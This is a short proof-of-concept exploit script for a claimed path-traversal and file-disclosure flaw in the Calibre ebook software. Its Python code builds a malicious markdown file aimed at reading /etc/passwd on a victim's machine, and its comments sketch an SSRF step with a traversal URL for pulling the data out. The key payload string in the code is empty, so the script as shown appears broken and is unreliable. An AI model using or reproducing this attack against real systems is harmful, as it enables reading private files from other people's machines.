CVE-2026-33206 Calibre路径遍历与文件泄露漏洞

import os # PoC for CVE-2026-33206: Path Traversal in Calibre # This script demonstrates how a malicious markdown file can be created # to include arbitrary files via path traversal. def create_exploit_md(output_path, target_file): """ Creates a markdown file that attempts to include a local file. """ # Using path traversal sequence to escape the ebook context payload = f"" with open(output_path, 'w') as f: f.write(f"# Exploit PoC\n\n{payload}\n") print(f"[+] Exploit Markdown file created at: {output_path}") print(f"[+] Target file for inclusion: {target_file}") # Example usage # Attacker aims to read /etc/passwd on the victim's machine create_exploit_md("exploit.md", "/etc/passwd") # Note: The second part involves the Content Server / Web View. # An attacker would need to host this markdown, convert it, and then # use the SSRF in the background-image endpoint to exfiltrate data. # Example SSRF payload for the background endpoint: # url = "http://localhost:8080/reader?background=../../../../etc/passwd"